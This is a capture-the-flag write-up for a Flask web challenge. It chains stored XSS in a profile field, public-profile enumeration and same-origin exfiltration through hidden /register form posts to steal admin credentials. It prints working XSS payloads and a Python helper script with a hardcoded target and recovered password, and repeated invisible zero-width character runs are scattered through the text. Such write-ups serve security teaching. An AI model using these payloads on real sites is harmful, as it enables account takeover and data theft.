← Back to Writeups
CUSTOMMediumWeb

Museum

XESXOR9/2/20266 min read
#web#custom#medium#public_profile_enumeration#same_origin_form_exfiltration#stored_xss_context_exfiltratio

Museum

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: public_profile_enumeration, same_origin_form_exfiltration, stored_xss_context_exfiltration

Summary

Walkthrough of the CUSTOM Web Museum. Task: a Flask museum site with registration, profiles, and an admin review bot hid the real attack surface behind a public user page. Solution: exploit stored XSS in profile_name, leak the bot pathnam

Description

Museum

Target: http://62.173.140.174:16117

The challenge looked like a small Flask gallery application with registration, profile editing, and an admin panel. The useful hint was that user-facing profile data was reviewed by a bot, so the real goal was to find a stored client-side bug and turn the bot into a same-origin reader.

Analysis

Recon and route mapping

Initial browsing and route discovery gave the following endpoints:

  • /
  • /login
  • /register
  • /profile
  • /gallery
  • /logout
  • /admin ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Important observations during recon:

  • /admin existed but returned 403 to a normal user.
  • /profile and /gallery accepted some parameters, but those branches were red herrings.
  • The Flask session cookie made a weak SECRET_KEY brute force look tempting, but that path was unnecessary.

The first real bug was in profile_name. It was stored and later rendered without proper escaping, which immediately suggested stored XSS against the admin bot.

The misleading part: /profile was not what the bot rendered

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

At first I assumed the bot visited /profile, because that was the obvious user page in the interface. That assumption wasted time: payloads that only targeted /profile did not explain the bot behavior.

The breakthrough came from using the XSS only to exfiltrate the bot's current pathname.

Minimal context leak payload:

html
<img src=x onerror='fetch("/register",{
  method:"POST",
  headers:{"Content-Type":"application/x-www-form-urlencoded"},
  body:"username=ctx_"+encodeURIComponent(location.pathname)+"&password=Aa123456!&profile_name=x"
})'>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After the bot rendered the malicious profile, the created username revealed:

text
ctx_/user/19

So the bot was not opening /profile at all. It was rendering a hidden public profile page at:

text
/user/<id>

That explained why the visible UI had been misleading.

Enumerating public profiles

Once /user/<id> was known, I manually enumerated public profiles:

text
/user/1
/user/2
/user/3
...

This was valuable because these pages were readable without authentication and preserved old user-generated content. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The key hit was /user/2, which contained an old XSS payload referencing /documents. That was the first sign that the application had an internal or legacy route not visible from normal navigation.

Probing /documents through the bot

Direct browsing was not enough, so the next step was to make the admin bot fetch /documents from its own authenticated same-origin context.

Direct exfiltration to an external server was not needed. Instead, the payload wrote data back into the application by repeatedly submitting hidden forms to /register, encoding chunks of the page body into new usernames. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Core idea:

  1. XSS runs in the bot on /user/<id>.
  2. The payload loads /documents in same origin.
  3. It reads the response body.
  4. It chunks the text.
  5. Each chunk is sent back by creating a new user via /register.
  6. I enumerate the new public /user/<id> entries and reconstruct the leaked data.

Concrete payload:

html
<script>
async function leak(value, idx) {
  const frame = document.createElement('iframe');
  frame.name = 'sink' + idx;
  frame.style.display = 'none';
  document.body.appendChild(frame);
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  const form = document.createElement('form');
  form.method = 'POST';
  form.action = '/register';
  form.target = frame.name;
  form.style.display = 'none';

  const safe = value.replace(/[^a-zA-Z0-9_:-]/g, '_').slice(0, 60);
  form.innerHTML = `
    <input name="username" value="leak_${idx}_${safe}">
    <input name="password" value="Aa123456!">
    <input name="profile_name" value="x">
  `;
  document.body.appendChild(form);
  form.submit();
}

(async () => {
  const body = await fetch('/documents').then(r => r.text());
  for (let i = 0; i < body.length; i += 40) {
    await leak(body.slice(i, i + 40), i / 40);
  }
})();
</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This was enough to recover the interesting content from /documents. The important extracted line was:

text
admin:nfjdhwbwjdisnsgauaddgd

Dead ends worth noting

  • Accessing /admin from the bot context still produced 403, so XSS alone did not immediately reveal the flag.
  • Query parameter experiments on /profile and /gallery did not contribute to the solve.
  • Flask secret-key brute force was a convincing decoy, but it was not required once the stored XSS path was understood.

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 1: Create an account and store XSS in profile_name

Register a user and put the XSS payload into the profile_name field. The bot later renders the public page and executes the payload.

Example seed payload used to discover the real route:

html
<img src=x onerror='fetch("/register",{
  method:"POST",
  headers:{"Content-Type":"application/x-www-form-urlencoded"},
  body:"username=ctx_"+encodeURIComponent(location.pathname)+"&password=Aa123456!&profile_name=x"
})'>

Result: the bot leaked location.pathname as /user/19. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Enumerate public profiles

Browse /user/1, /user/2, and upward until interesting content appears. /user/2 contained an old payload mentioning /documents, which exposed the next target.

Step 3: Read /documents from bot context

Replace the discovery payload with a same-origin reader that fetches /documents and stores chunks in usernames through hidden form submissions to /register.

Example exfil logic:

html
<script>
(async () => {
  const body = await fetch('/documents').then(r => r.text());
  for (let i = 0; i < body.length; i += 40) {
    const chunk = body.slice(i, i + 40).replace(/[^a-zA-Z0-9_:-]/g, '_');
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/register';
    form.innerHTML = `
      <input name="username" value="dump_${i}_${chunk}">
      <input name="password" value="Aa123456!">
      <input name="profile_name" value="x">
    `;
    document.body.appendChild(form);
    form.submit();
  }
})();
</script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconstructing the chunks revealed:

text
admin:nfjdhwbwjdisnsgauaddgd

Step 4: Log in as admin and open /admin

Those credentials were valid for the normal login flow:

text
username: admin
password: nfjdhwbwjdisnsgauaddgd

After logging in as admin, visiting /admin returned the flag.

Repro helper script

python
#!/usr/bin/env python3
import re
import sys
import requests

BASE = "http://62.173.140.174:16117"
ADMIN_USER = "admin"
ADMIN_PASS = "nfjdhwbwjdisnsgauaddgd"

DISCOVERY_PAYLOAD = r'''<img src=x onerror='fetch("/register",{
method:"POST",
headers:{"Content-Type":"application/x-www-form-urlencoded"},
body:"username=ctx_"+encodeURIComponent(location.pathname)+"&password=Aa123456!&profile_name=x"
})'>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

DOCUMENTS_PAYLOAD = r'''<script>
(async () => {
  const body = await fetch('/documents').then(r => r.text());
  for (let i = 0; i < body.length; i += 40) {
    const chunk = body.slice(i, i + 40).replace(/[^a-zA-Z0-9_:-]/g, '_');
    const form = document.createElement('form');
    form.method = 'POST';
    form.action = '/register';
    form.innerHTML = `
      <input name="username" value="dump_${i}_${chunk}">
      <input name="password" value="Aa123456!">
      <input name="profile_name" value="x">
    `;
    document.body.appendChild(form);
    form.submit();
  }
})();
</script>'''
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def login_admin():
    s = requests.Session()
    r = s.post(
        f"{BASE}/login",
        data={"username": ADMIN_USER, "password": ADMIN_PASS},
        allow_redirects=True,
        timeout=10,
    )
    if r.status_code not in (200, 302):
        raise SystemExit(f"login failed: {r.status_code}")
    admin = s.get(f"{BASE}/admin", timeout=10)
    print(admin.text)
    m = re.search(r"CODEBY\{[^}]+\}", admin.text)
    if m:
        print(f"[+] Flag: {m.group(0)}")
    else:
        print("[-] Flag not found in /admin response")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == "__main__":
    print("[*] Use DISCOVERY_PAYLOAD in profile_name to leak bot pathname")
    print("[*] Then use DOCUMENTS_PAYLOAD in profile_name to exfiltrate /documents")
    print(f"[*] Recovered creds: {ADMIN_USER}:{ADMIN_PASS}")
    if len(sys.argv) > 1 and sys.argv[1] == "--login-admin":
        login_admin()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering public_profile_enumeration, same_origin_form_exfiltration, stored_xss_context_exfiltration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-31 • CUSTOM • Museum • Difficulty: Medium